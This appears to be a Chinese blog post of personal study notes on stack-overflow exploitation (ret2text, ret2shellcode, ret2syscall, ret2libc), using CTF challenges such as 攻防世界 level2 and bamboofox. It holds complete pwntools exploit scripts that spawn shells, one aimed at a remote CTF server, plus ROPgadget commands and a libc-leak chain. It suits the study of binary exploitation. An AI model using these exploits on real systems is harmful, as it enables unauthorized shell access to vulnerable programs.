当前位置:   article > 正文

栈溢出/ret2shellcode/ret2syscall/ret2libc_攻防世界 level2

攻防世界 level2

(仅作为本人的学习笔记和心得 如有错误请多指教)

概述

核心目的是用攻击指令的地址来覆盖返回地址,但是根据程序的保护权限不同和程序的不同可以分成几种攻击模式

 

ret2text

即控制程序执行程序里已经有的代码,最常见的就是利用溢出覆盖返回地址为后门函数,在这种情况下后面函数都是已经有的代码只需要找一下这个返回地址就好

对于程序保护的限定:不能开启canary 由于程序中已经有的代码无需自己构造shellcode所以可以有NX保护

payload构造思路:缓冲区的大小+ebp/rbp的大小+挟持地址(返回地址)

以攻防世界的level2题为例

先进入gdb checksec检查开启了什么防护

32位程序没有开启金丝雀 那直接利用栈溢出

进入IDA分析 发现read函数中有栈溢出,而函数里有system函数但是参数不是/bin/sh,但是在IDA中按shift+F12分析字符串的时候找到了/bin/sh

所以思路就很清晰了 利用这个栈溢出调用system函数并且把system函数的参数改成/bin/sh的地址,也就是相当于使用了system(‘/bin/sh’)

payload构造根据栈结构= 缓冲区的内存大小+ebp的大小+返回函数的地址(system)+调用system函数后的返回地址+参数地址

这里解释一下我在学习过程中的误解了很久的:

填充返回函数的地址system的地址之后,会调用system函数那么会开启一个新的栈帧,这个栈帧也有返回地址,这个地方我们可以把它填充为0,后续才是参数地址也就是把/bin/sh字符串的地址修改进去

题解的exp:

  1. from pwn import*
  2. io=remote("61.147.171.105",53299)
  3. retaddr=0x08048320
  4. binsh=0x0804A024
  5. payload=(0x88+0x4)*b'a'+p32(retaddr)+p32(0)+p32(binsh)
  6. io.sendline(payload)
  7. io.interactive()

 ret2shellcode

思路也很类似 就是将返回地址覆盖成写好的shellcode 上面的是返回到程序中的一块内容

对于保护的限定:不能开启NX保护,由于NX保护是会将数据所在的内存页表示为不可执行,如果程序产生溢出去执行shellcode则会报错

目前由于 the NX bits 保护措施的开启,栈缓冲区不可执行,故当下的常用手段变为向 bss 缓冲区写入 shellcode 或向堆缓冲区写入 shellcode 并使用 mprotect 赋予其可执行权限

payload : padding1 + address of shellcode + padding2 + shellcode

 

 

以banboomfox的ret2shellcode为例

思路很简单:发现程序里没有自带的后门函数也没有/bin/sh字符串,程序保护没有开启NX,找到溢出函数后,则构造shellcode在这个数组里,然后返回地址去执行这个shellcode

  1. from pwn import *
  2. p=process("./ret2shellcode")
  3. retaddr=0x804A080
  4. shellcode=asm(shellcraft.sh())
  5. payload=shellcode.ljust(112, b'A')+p32(retaddr)
  6. p.sendline(payload)
  7. p.interactive()

 ret2syscall

使用的背景条件:

程序里没有可以利用的后门函数,可以利用系统调用来

利用系统调用的漏洞来获得shell,这个就是很典型的ROP,通过pop|ret语句来实现系统调用 ,在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程

Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数

流程:

1.找到这个函数的调用号将这个函数系统调用的编号放在寄存器eax当中

2.将这个函数的参数存入到别的通用寄存器

3.通过执行int 80来启动执行

所以在第一步:需要去获得这个调用号

cat /usr/include/asm/unistd_32.h | grep execve 

#通过这个命令可以得到execve函数的调用号

所以现在需要做的就是让:

eax=0xb

ebx=/bin/sh 的地址

ecx=0

edx=0

然后就是构造栈帧 通过溢出函数来构造我们要实现的栈帧 利用多个gadgets来完成目标,其中寻找需要的gadgets可以通过指令ROPgadget

ROPgadget --binary [exe] --only ’pop|ret‘ | grep ’eax'

#找到有pop还有ret还有eax相关的命令的地址

ROPgadget --binary [exe] --string '/bin/sh'

#找到字符串的地址

ROPgadget --binary [exe] --only ’int‘

#这是用于寻找int 80命令的地址

ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi

#如果在二进制文件里找不到 可以去库里找

就可以完成系统调用,只不过要记得栈是先进后出的结构

特别有:Pop eax 的含义是 将栈顶的值弹出赋值给eax,而不是直接删除了eax 还有这些eax ebx的存放顺序是连续的 所以构造栈帧的时候也要留意

payload : padding + address of gadget 1 + address of gadget 2 + ......
+ address of gadget n

在这样的构造下,被调用函数返回时会跳转执行 gadget 1,执行完毕时 gadget 1 的 RET 指令会将此时的栈顶数据(也就是 gadget 2 的地址)弹出至 eip,程序继续跳转执行 gadget 2,以此类推。

以bamboofox的ret2syscall为例

找到溢出函数get后分析,进行系统函数调用也就是想要执行execute('/bin/sh')

找到execute函数的系统函数调用号为11也就是0xB,则目的就是将0xb保存在寄存器eax,并且把参数字符串覆盖成/bin/sh 想当把/bin/sh的地址保存在寄存器ebx 最后一个再触发int 80来启动

  1. from pwn import *
  2. p=process('./ret2syscall')
  3. popeax=0x080bb196
  4. #指令pop eax |ret的地址
  5. popebx=0x0806eb90
  6. #指令pop edx,ecx,ebx|ret的地址
  7. binsh=0x080be408
  8. #字符串/bin/sh的地址
  9. int80=0x08049421
  10. payload=b'a'*112+p32(popeax)+p32(0xb)+p32(popebx)+p32(0)+p32(0)+p32(binsh)+p32(int80)
  11. p.sendline(payload)
  12. p.interactive()

ret2libc

背景:程序里没有system函数

在程序的源码里没有system函数不能返回到这个,而且开启了NX保护,这个时候可以利用c函数库里的system()函数和里面的/bin/sh 

ret2libc的原理便是将 libc.so在内存中我们所需要的函数返回地址获取,进而取得控制权。通常是利用system("/bin/sh")打开shell,简单可以判定为两个步骤:

        1.system地址获取

        2."/bin/sh"字符串地址获取

则这个时候就需要去找libc的基地址从而来根据偏移计算

方法就是:根据已知libc的函数的地址来计算出libc的基地址

攻击步骤:

1、泄露任意一个函数的真实地址:只有被执行过的函数才能获取地址
2、获取libc的版本
3、根据偏移获取shell和sh的位置:a、求libc的基地址(函数动态地址-函数偏移量)b、求其他函数地址(基地址+函数偏移量)
4、执行程序获取shell

payload: padding1 + address of system() + padding2 + address of “/bin/sh”

 

例题:ret2libc_level3

进行IDA静态编译后分析代码,表里没有system函数查找字符串中也没有找到”/bin/sh”,则是很明显的ret2libc问题 只能在libc库里找到这些

思路:1.主函数中有puts函数可以作为泄露libc的中介,得到libc的基址之后计算出system函数的地址和’/bin/sh‘的地址

2.第二次进行覆盖 构造完成后直接运行的是 system("/bin/sh")

构造的栈帧图如:

exp: 

  1. from pwn import *
  2. from LibcSearcher import *
  3. p=process("./ret2libc3")
  4. elf=ELF('ret2libc3')
  5. puts_plt=elf.plt['puts']
  6. puts_got=elf.got['puts']
  7. #其实可以理解成一个间接寻址的过程,通过plt地址找到真正的地址就在got里
  8. start_addr=elf.symbols['_start']
  9. payload1=b'a'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
  10. p.sendlineafter("!?",payload1)
  11. puts_addr=u32(p.recv(4))
  12. #计算libc的基址从而得到system和'/bin/sh'的地址
  13. libc=LibcSearcher('puts',puts_addr)
  14. libcbase=puts_addr-libc.dump("puts")
  15. system_addr=libcbase+libc.dump("system")
  16. binsh_addr=libcbase+libc.dump("str_bin_sh")
  17. payload2=b'a'*112+p32(system_addr)+p32(0)+p32(binsh_addr)
  18. p.sendlineafter("!?",payload2)
  19. p.interactive()

对于这个exp的编写因为是我初次编写ret2libc常出现几个问题我做总结:

1.对于ret2libc的栈帧要现在草稿纸上写好构造的栈帧再去写payload,而再栈帧的结构中一定要注意,别遗漏了返回函数的地址,还有参数的个数

2.在利用payload的时候经常会忘记我使用的是python3 所以要在’a‘面前加一个b表示字节

3.recv函数 这个函数我使用的不好,经常会忘记这是一个调用

补充知识:PLT&GOT

操作系统通常使用动态链接的方法来提高程序运行的效率。在动态链接的情况下,程序加载的时候并不会把链接库中所有函数都一起加载进来,而是程序执行的时候按需加载,如果有函数并没有被调用,那么它就不会在程序生命中被加载进来

PLT属于代码段,在进程加载和运行过程都不会发生改变,PLT指向GOT表的关系在编译时已完全确定,代码段是无法修改的唯一能发生变化的是GOT表

以printf()函数为例子:

对于动态函数库里的函数,只有在运行起来的时候才有确定的地址,没有运行的时候就是以符号数给代替一下

运行后重定位是无法修改代码段的,只能将 printf 重定位到数据段,链接器会额外生成一小段代码,通过这段代码来获取 printf() 的地址。

简单的说就是:有一段代码运行之后找到printf()的真正地址

总体来说,动态链接每个函数需要两个东西:

1、用来存放外部函数地址的数据段

2、用来获取数据段记录的外部函数地址的代码

对应有两个表,一个用来存放外部的函数地址的数据表称为全局偏移表GOT, Global Offset Table),包含函数的真实地址,包含libc函数的基址,用于泄露地址

那个存放额外代码的表称为程序链接表PLT,Procedure Link Table

20160611124517413.jpg

 调用动态链接函数时,如printf函数时,先去plt表和got表寻找printf函数的真实地址。plt表指向got表中的地址,got表指向glibc中的地址

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/AllinToyou/article/detail/705320
推荐阅读
相关标签
  

闽ICP备14008679号